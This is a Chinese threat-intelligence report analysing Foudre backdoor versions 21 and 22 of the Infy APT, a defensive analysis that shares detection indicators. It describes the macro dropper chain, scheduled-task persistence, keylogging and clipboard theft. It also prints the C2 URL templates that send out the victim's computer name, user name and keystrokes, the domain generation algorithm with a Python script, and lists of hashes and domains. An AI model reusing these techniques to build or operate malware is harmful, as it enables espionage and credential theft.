本文一共4127字,56张图 预计阅读时间13分钟
封面
美人鱼(又称infy
,Prince of Persia
,Foudre
)APT组织其主要针对政府机构进行攻击活动,由unit42以及360威胁情报中心首先于2016年5月进行披露,其最早的攻击活动可以追溯到2010年,并且期间一直没有长时间的间断.该组织背后的来源为中东地区.其使用的后门由于其C2的请求中带有infy
的路径,故此被名为infy后门,在2017年,unit42发布报告披露了其使用了更新的后门,名为Foudre。不过其单独披露了版本1和版本2的后门。在2018年,Intezerlab发布报告披露了关于Foudre后门的第八版本.在本次的攻击活动中,我们发现了其使用的第21版本与第22版本
本次发现的攻击活动中,Gcow安全团队追影小组以及微步情报局共同发现并且分析了该活动,其使用了带有恶意宏的文档并且使用了新版本的Foudre后门,其更新了后门的一些操作.同时保留了相关的域生成算法以及部分C2的请求参数具有一定的重合度.并且介于其一直通过在文档中嵌入ole对象通过社工的方式诱导受害者运行到使用带有恶意宏提取嵌入的ole对象并且执行的方式释放并运行其打包WinSFX
文档以执行相应的Foudre后门,故此撰写本报告以便于看官对该组织更加的了解
根据样本的针对性我们判断其很可能属于中东的威胁演员,并且很大概率属于伊朗
样本为doc文档,诱饵文档中的内容由波斯语的图片组成,带有宏代码,运行后进程链无其他新进程产生
图片1 文档内容截图
图片2 文字内容截图
图片3 文字内容翻译
文档中插入了几张InlineShape
的图片
图片4 嵌入的InlineShape的图片
宏代码运行时,遍历插入的几张图片,遍历到Type属性为“wdInlineShapeEmbeddedOLEObject”的图片
图片5 宏代码提取相应属性图片
拼接出路径,根据版本不同释放到"C:\\Users\\sam\\AppData\\Local\\Temp\\upxuppos\\fwupdate.tmp
"或"C:\\Users\\sam\\AppData\\Local\\Temp\\fwupdate.tmp
",并将.tmp
后缀修改为.temp
图片6 根据不同版本释放恶意ole对象并且修改其后缀
利用range.copy将图片拷贝到剪贴板,利用Shell.Applocation执行,在文档关闭时,样本会使用策略绕过Avast
执行文件,然后清除掉粘贴板中的内容
图片7 使用shell执行释放的恶意ole对象
fwupdate.tmp为一个自解压程序,压缩包大小仅为900K,解压后的文件200MB+,文件内容中含有大量重复内容
压缩包调用rundll32
加载dll
图片8 自解压命令
从1-110数字中取随机数,取出后根据随机数随机取出一个DLL名称
图片9 取随机数并且获取dll名称
DLL名称由样本写在内存中
图片10 dll文件名称
列表共计110行,全部取出后整理得下表,全都为系统白dll名称
"ActivationManager""ActiveSyncProvider""AdaptiveCards""ACPBackgroundManagerPolicy""APHostService""ApiSetHost.AppExecutionAlias""AppidPolicyConverter""AppIdPolicyEngineApi""ApplicationControlCSP""ApplicationFrame""ApplicationFrameHost""ApplySettingsTemplateCatalog""AppManagementConfiguration""AppointmentActivation""AppointmentApis""AppvClientEventLog""AppVEntStreamingManager""AppVEntSubsystems64""AppVEntVirtualization""AppVFileSystemMetadata""AppVIntegration""AppVManifest""AppVSentinel""AppVStreamingUX""AppVStreamMap""AppxApplicabilityEngine""AppXDeploymentClient""AppxPackaging""AssignedAccessManager""AssignedAccessRuntime""AuditPolicyGPInterop""AuthFWSnapin""AzureSettingSyncProvider""BackgroundMediaPolicy""BthAvrcpAppSvc""BthMtpContextHandler""BWContextHandler""CapabilityAccessHandlers""CapabilityAccessManager""CapabilityAccessManagerClient""CashDrawerProtocolProvider""CloudExperienceHost""CloudExperienceHostBroker""CloudExperienceHostCommon""CloudExperienceHostUser""ComposerFramework""ComputeStorage""ConfigureExpandedStorage""ConsentExperienceCommon""CoreShellExtFramework""CoreUIComponents""CourtesyEngine""DataUsageHandlers""DavSyncProvider""DdcComImplementationsDesktop""DeveloperOptionsSettingsHandlers""DeviceCredential""DeviceDirectoryClient""DeviceFlows.DataModel""DeviceMetadataRetrievalClient""DevicePairingExperienceMEM""DeviceSetupStatusProvider""DevicesFlowBroker""DiagnosticsHub.Packaging""DictationManager""DispBroker.Desktop""DmApiSetExtImplDesktop""Docking.VirtualInput""EAMProgressHandler""EasPolicyManagerBrokerPS""EditionUpgradeManagerObj""EnterpriseAppMgmtSvc""EnterpriseAppMgmtClient""EnterpriseDesktopAppMgmtCSP""EnterpriseModernAppMgmtCSP""ETWCoreUIComponentsResources""FaceBootstrapAdapter""FlashUtil_ActiveX""GenericProvider""HolographicExtensions""HolographicRuntimes""IndexedDbLegacy""IpNatHlpClient""KeywordDetectorMsftSidAdapter""LangCleanupSysprepAction""LanguageComponentsInstaller""LanguageOverlayServer""LanguageOverlayUtil""LanguagePackDiskCleanup""LicensingWinRT""LicensingDiagSpp""LocationFrameworkInternalPS""MapControlStringsRes""MapsMigPlugin""MCCSEngineShared""MediaFoundation.DefaultPerceptionProvider""MessagingDataModel2""MetroIntelGenericUIFramework""MFCaptureEngine""MiracastInputMgr""MitigationConfiguration""MixedRealityCapture.Pipeline""MixedRealityRuntime""MSAProfileNotificationHandler""MsSpellCheckingFacility""MTFSpellcheckDS""NetCellcoreCellManagerProviderResources""NetEventPacketCapture""NetworkBindingEngineMigPlugin""NFCProvisioningPlugin"
本次生成的是AuthFWSnapin.dll,在运行的时候其会从中随机抽选
将一同释放出的d488
移动到C:\\ProgramData
目录下命名为"AuthFWSnapin.dll"并设置为"NORMAL"属性
图片11 移动d488
创建计划任务,在每次登陆时运行
图片12 初始化计划任务xml
图片13 使用schtask加载xml注册服务
通过利用Rundll32.exe
加载Shell32.dll
,在DLL中main函数内再利用Rundll32.exe加载运行“f8757
”导出函数
图片14 使用rundll32.exe加载导出函数f8757
检测窗口"NRV3B19"
图片15 检测窗口NRV3B19
样本中还会将一串UNICODE字符串拷贝到变量中,但在执行过程中不知道有何用处
图片16 拷贝一串字符串到变量
图片17 这段unicode字符的翻译
从注册表"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders
"下APPDATA查询到%APPDATA%
路径
图片18 通过注册表获取AppData的路径-1
图片19 通过注册表获取AppData路径-2
检查%APPDATA%
是否存在,不存在则创建,然后在%APPDATA%
下拼接出样本要释放的文件路径
图片20 检查AppData是否存在以及拼接路径
获取API地址
图片21 获取API地址
遍历进程,查询进程“dfserv.exe”
图片22 查询进程dfserv.exe
注册了一个窗口类,类名为“NRV3B91”,并创建一个窗口"Form100022
",使用名为"Form100022
"的窗口进行键盘记录
图片23 注册窗口类NRV3B91
图片24 创建窗口并进行键盘记录
获取到HTTP
的User-Agent
于Google
域名
图片25 获取Google域名的User-Agent
获取到本机的计算机名、用户名、IP地址信息
图片26 收集本机计算机名,用户名,IP地址信息
创建两个定时器,一个每隔10
S读取一次剪贴板内容,一个每隔300s
链接C2
发送窃取的信息
图片27 设置定时器用于读取剪切板内容以及向C2发送信息
在%APPDATA%目录下创建config.xml
用作“Project INI”,存放一串数字ID
图片28 写入数字ID于config.xml下
与Google
建立链接,查询状态码是否为200
图片29 对Google请求判断其状态码
链接成功后,在%temp%目录下创建一个“tempupd6.exe
”,向其中写入的内容为HTTP请求返回的内容,写入之后很快又将文件删除了
图片30 向临时目录下写tempupd6.exe并删除
域名使用生成算法生成
ToHex(CRC32("NRV1" + 年 + 月 + 周号)) + (".space"|".net"|".top"|".dynu.net")
使用lockbox3 Delphi库来验证C2
,从C2
下载签名文件:
http://[Domain]/de/?d=2020301&v=00022&t=2020%2D10%2D27%2D%2D15%2D47%2D28
其中d 代表 {year} {自年初以来的天数} t 代表 当前时间
下载的签名文件%appdata%\\sig.tmp
使用公钥解密后与明文%appdata%\\dom.tmp
比较是否相对应
图片31 使用公钥解密下载的签名文件
当生成的域名链接不成功时,尝试生成其他域名进行重试
图片32 使用多种后缀的域名进行请求
验证C2后,与C2通信发送请求检查更新
http://<C2domain>/2014/?c=<计算机名>&u=<用户名>&v =<版本>&s =<密码>&f=<文件夹>&mi=<machineguid_urlencoded>&b=<32/64bit>&t=<time_urlencoded>
图片33 与C2通信检查更新
将更新下载回的木马保存在%temp%\\tempupd6.exe
图片34 将更新下载的木马存在临时目录下的tempupd6.exe中
更新木马下载成功后会再次下载签名文件进行验证,保存在%temp%\\gtsdci32.tmp
中
http://<C2domain>/2015/?c=<计算机名>&u=<用户名>&v=<版本>&s=<密码>&f=<文件夹>&mi=<machineguid_urlencoded>&b=<32/64bit>&t=<time_urlencoded>
图片35 向C2请求验证其下载的更新文件
验证成功后,使用WinExec函数执行新下载回来的木马文件
图片36 验证成功后使用winexec执行木马文件
还会向C2传回加密后的键盘记录情况
http://<C2domain>/en/d=<date>,text=<data>
后续的载荷并没有下载下来故此不能继续分析
上文中我们根据其C2通信的特征将其命名为V22
此外我们还发现了另外一个与之有相似宏代码的恶意文档,根据与C2通信的特征将版本命名为V21
V21样本中诱饵使用的文档截图:
图片37 FoudreV21版本后门文档截图
诱饵文档为带有宏代码的恶意文档,文档中的内容为波斯语
图片38 诱饵文档内容翻译
与前面的样本一样,插入的图片同样是InlineShape属性,将其释放到%temp%目录下并调用Shell运行,释放的是一个自解压文件
图片39 释放的自解压文档EZUpdate.tmp
EZUpdate.tmp是一个自解压文件,其中包含一个.bmp文件,一个.dll文件,一个d3d9
执行的命令行为:Setup=rundll32.exe conf3234.dll f8753 d948
图片40 自解压命令
在conf3234.dll中也有一段意义不明的字符串
图片40 内置的意义不明字符串
通过文档内容来看,该样本可能于2020/07/29号后进行编译的
查找窗口"NRV3B19","NRV3B19"是样本最后一阶段注册的窗口类
图片41 查找窗口NRV3B19
修改注册表,在HKEY_CURRENT_USER\\Software\\temp
下写入一个名为“ran2”的注册表,注册表内DLL名称为上文所提及生成的
图片42 将生成额dll名称写入注册表
查询C:\\Programdata
是否存在,不存在则创建
图片43 检查路径是否㛮
将最初同一个压缩包的d389
移动到C:\\ProgramData\\
下,文件名为注册表内写入的DLL名
图片44 移动d389
创建计划任务,实现持久化,自启的方式依然是利用Rundll32调用Shell32.dll的函数执行DLL中的main函数,在main函数中再利用Rundll32调用导出函数
图片45 初始化计划任务xml
图片46 使用schtask注册计划任务
图片47 执行f8755函数
检测参数"1281020996"
图片48 检测参数
注册窗口类“NRV3B19”,并创建一个窗口"Form100021
",使用名为"Form100021
"的窗口进行键盘记录,与V22版本不同,V22的窗口为"Form100022
",样本习惯使用版本号作为窗口名称的结尾
图片49 注册窗口类NRV3B19
图片50 创建窗口以进行键盘记录
在V21中的域名生成算法与V22版本相同,使用的域名也相同
域名算法中依然由"NRV1"+年+月+周组成
图片51 C2域名生成
生成的域名和V22版本样本相同,后缀依然为".space,“.net",".top",".dynu.net"
图片52 与上文一样出现的后缀
两次样本用来解密从C2获得的签名文件的密钥也相同
图片53 解密验证文件的私钥
两版本样本功能几乎一致,唯一的不同点在于版本号不同,而没有发现其余功能的更新
同时为了方便各位看官理解,我们绘制了该类样本的流程图
图片54 Foudre后门v21V22版本执行流程图
从之前的样本去看,从第一版本到第22版本都使用了相关的域名生成算法,其中以第八版本为一个分界线
第八版本之前使用了如下的C2
域名生成算法:
ToHex(CRC32(“NRV1” + 年 + 月 + 周号)) + (“.space”|”.net”|”.top”)
第八版本使用了如下的C2
域名生成算法:
ToHex(CRC32(“NRTV1” + 年 + 月 + 周号)) + (“.space”|”.net”|”.top”|”.dynu.net”)
而本次活动披露的第21版本与第22版本则使用了老的域名生成算法进行生成,同时扩充了新的后缀
ToHex(CRC32("NRV1" + 年 + 月 + 周号)) + (".space"|".net"|".top"|".dynu.net")
在V21与V22版本中更新了添加了验证C2的功能,猜测可能因为之前有安全公司通过算法得到域名后抢在黑客组织前提前抢注了域名
所以导致攻击者添加了验证的环节
该组织并没有去费周折修改其样本的C&C的请求报文
http://<C2domain>/2014/?c=<计算机名>&u=<用户名>&v =<版本>&s =<密码>&f=<文件夹>&mi=<machineguid_urlencoded>&b=<32/64bit>&t=<time_urlencoded>http://<C2domain>/2015/?c=<计算机名>&u=<用户名>&v=<版本>&s=<密码>&f=<文件夹>&mi=<machineguid_urlencoded>&b=<32/64bit>&t=<time_urlencoded>
其使用的植入物在前期版本以向PPT文件嵌入多个ole以诱导受害人点击,以及使用可能的水坑攻击,并且使用直接投递伪装成相关诱饵文件的sfx文档进行投递.在本次捕获的样本中主要涉及到使用恶意宏文档进行投递.不过不排除还有其他攻击手段的可能性(注意:不是准确结论,仅为部分猜测)
图片55 美人鱼(Infy) APT手法的演进
图片56 持久化方式演进
%Temp%\EZUpdate.tmp
%Temp%\tmp1375\d948
%Temp%\tmp1375\conf3234.dll
%Temp%\tmp1375\61Dk5U6TjDL.bmp
%AppData%\fwupdate.tmp
%AppData%\tmp6073\conf4389.dll
%AppData%\tmp6073\d488
%Appdata%\config.xml
%Temp%\gtsdci32.tmp
%AppData%\sig.tmp
%AppData%\dom.tmp
%Temp%\tempupd6.exe
%Temp%\sduchxll.tmp
2C111A27D0D9D48E9470264B4C16B472
d497e0332e88341bd5ddbaa326cab977
4381a0c76f2bff772063e6cc6a1ac876
DC14F029EFA635D5922012904E162808
8b8e286f64a4635e12d6d728a5669d51
916e3d4c5835380c99efa802ddb4436d
BE11401B723EC4F20BE8D65C04A8003E
1a46bd6385feae53a6b8aed758e16556
Generating domains for: 2020-10-20 17:19:39.397000 - 2020-12-29 17:19:39.397000. Each domain can have .space, .net,.dynu.net or .top as TLD (top level domain).
1.2020-10-20 17:19:39.397000 - Week Number: 43 e00be33d.space db54a845.space 425df9ff.space 355ac969.space ab3e5cca.space dc396c5c.space 45303de6.space 32370d70.space a28810e1.space d58f2077.space f2b63e96.space 85b10e00.space 1cb85fba.space 6bbf6f2c.space f5dbfa8f.space 82dcca19.space 1bd59ba3.space 6cd2ab35.space fc6db6a4.space 8b6a8632.space2.2020-10-27 17:19:39.397000 - Week Number: 44 7e6f769e.space 94153e82.space 0d1c6f38.space 7a1b5fae.space e47fca0d.space 9378fa9b.space 0a71ab21.space 7d769bb7.space edc98626.space 9aceb6b0.space f7f92813.space 80fe1885.space 19f7493f.space 6ef079a9.space f094ec0a.space 8793dc9c.space 1e9a8d26.space 699dbdb0.space f922a021.space 8e2590b7.space3.2020-11-03 17:19:39.397000 - Week Number: 45 08aa2c3f.space 35b268a6.space acbb391c.space dbbc098a.space 45d89c29.space 32dfacbf.space abd6fd05.space dcd1cd93.space 4c6ed002.space 3b69e094.space cb5b6b94.space bc5c5b02.space 25550ab8.space 52523a2e.space cc36af8d.space bb319f1b.space 2238cea1.space 553ffe37.space c580e3a6.space b287d330.space4.2020-11-10 17:19:39.397000 - Week Number: 46 91a37d85.space 1e9f3b65.space 87966adf.space f0915a49.space 6ef5cfea.space 19f2ff7c.space 80fbaec6.space f7fc9e50.space 674383c1.space 1044b357.space c91dd5cd.space be1ae55b.space 2713b4e1.space 50148477.space ce7011d4.space b9772142.space 207e70f8.space 5779406e.space c7c65dff.space b0c16d69.space5.2020-11-17 17:19:39.397000 - Week Number: 47 e6a44d13.space 07840a24.space 9e8d5b9e.space e98a6b08.space 77eefeab.space 00e9ce3d.space 99e09f87.space eee7af11.space 7e58b280.space 095f8216.space c8dfbffa.space bfd88f6c.space 26d1ded6.space 51d6ee40.space cfb27be3.space b8b54b75.space 21bc1acf.space 56bb2a59.space c60437c8.space b103075e.space6.2020-11-24 17:19:39.397000 - Week Number: 48 761b5082.space 801c16eb.space 19154751.space 6e1277c7.space f076e264.space 8771d2f2.space 1e788348.space 697fb3de.space f9c0ae4f.space 8ec79ed9.space c383f8c7.space b484c851.space 2d8d99eb.space 5a8aa97d.space c4ee3cde.space b3e90c48.space 2ae05df2.space 5de76d64.space cd5870f5.space ba5f4063.space7.2020-12-01 17:19:39.397000 - Week Number: 49 035ade4d.space 8bb28844.space 12bbd9fe.space 65bce968.space fbd87ccb.space 8cdf4c5d.space 15d61de7.space 62d12d71.space f26e30e0.space 85690076.space 85e1e820.space f2e6d8b6.space 6bef890c.space 1ce8b99a.space 828c2c39.space f58b1caf.space 6c824d15.space 1b857d83.space 8b3a6012.space fc3d5084.space8.2020-12-08 17:19:39.397000 - Week Number: 50 639d57a8.space 5bb2593a.space c2bb0880.space b5bc3816.space 2bd8adb5.space 5cdf9d23.space c5d6cc99.space b2d1fc0f.space 226ee19e.space 5569d108.space 328cb4ca.space 458b845c.space dc82d5e6.space ab85e570.space 35e170d3.space 42e64045.space dbef11ff.space ace82169.space 3c573cf8.space 4b500c6e.space9.2020-12-15 17:19:39.397000 - Week Number: 51 149a673e.space 42a9687b.space dba039c1.space aca70957.space 32c39cf4.space 45c4ac62.space dccdfdd8.space abcacd4e.space 3b75d0df.space 4c72e049.space 334edefd.space 4449ee6b.space dd40bfd1.space aa478f47.space 34231ae4.space 43242a72.space da2d7bc8.space ad2a4b5e.space 3d9556cf.space 4a926659.space10.2020-12-22 17:19:39.397000 - Week Number: 52 8d933684.space 69843bb8.space f08d6a02.space 878a5a94.space 19eecf37.space 6ee9ffa1.space f7e0ae1b.space 80e79e8d.space 1058831c.space 675fb38a.space 310860a4.space 460f5032.space df060188.space a801311e.space 3665a4bd.space 4162942b.space d86bc591.space af6cf507.space 3fd3e896.space 48d4d800.space
https://www.intezer.com/blog/research/prince-of-persia-the-sands-of-foudre/
https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/
http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/
http://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/
https://unit42.paloaltonetworks.com/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/
https://www.freebuf.com/articles/network/105726.html
基于Esmid idrizovic的脚本进行修改:
import binasciiimport datetimeamp = 0xffffffffdef getHostCRC(input): crc = binascii.crc32(input) & 0xffffffff host = "{:08x}".format(int(crc)) return hostdef getDomains(date): domains = [".space"] results = [] weeknumber = date.isocalendar()[1] s = "NRV1{}{}{}".format(date.year, date.month, weeknumber) hostname = s host = getHostCRC(hostname) + domains[0] results.append(host) for d in domains: for i in range(1, 101): hostname = s + str(i) host = getHostCRC(hostname) + d results.append(host) return resultsdef getDomainsForNextWeeks(number_of_weeks): date = datetime.datetime.now() date -= datetime.timedelta(days=7) n = 1 date_to = date + datetime.timedelta(days=7*number_of_weeks) print "Generating domains for: {} - {}.\nEach domain can have .space, .net or .top as TLD (top level domain).\n\n".format(date, date_to) for i in range(number_of_weeks): tmp = getDomains(date) top_domains = tmp[:20] weeknumber = date.isocalendar()[1] print "{}. {} - Week Number: {}".format(n, date, weeknumber) for domain in top_domains: print "{}".format(domain) date += datetime.timedelta(days=7) n = n + 1 print ""getDomainsForNextWeeks(10)
美人鱼(Infy) APT组织是一个活动持续将近10年的组织,其水平不高也不算低.其不断改变手法以逃避安全人员的追查,同时该组织在其恶意样本的编写中逐渐尝试减少特征,并且在编写过程中使用寄存器传递参数的方式加大安全分析人员分析的难度以及归属的难度.并且很有意思的一点,该组织喜欢在其样本中添加最近新闻中的信息,目的不明,猜测可能旨在标记时间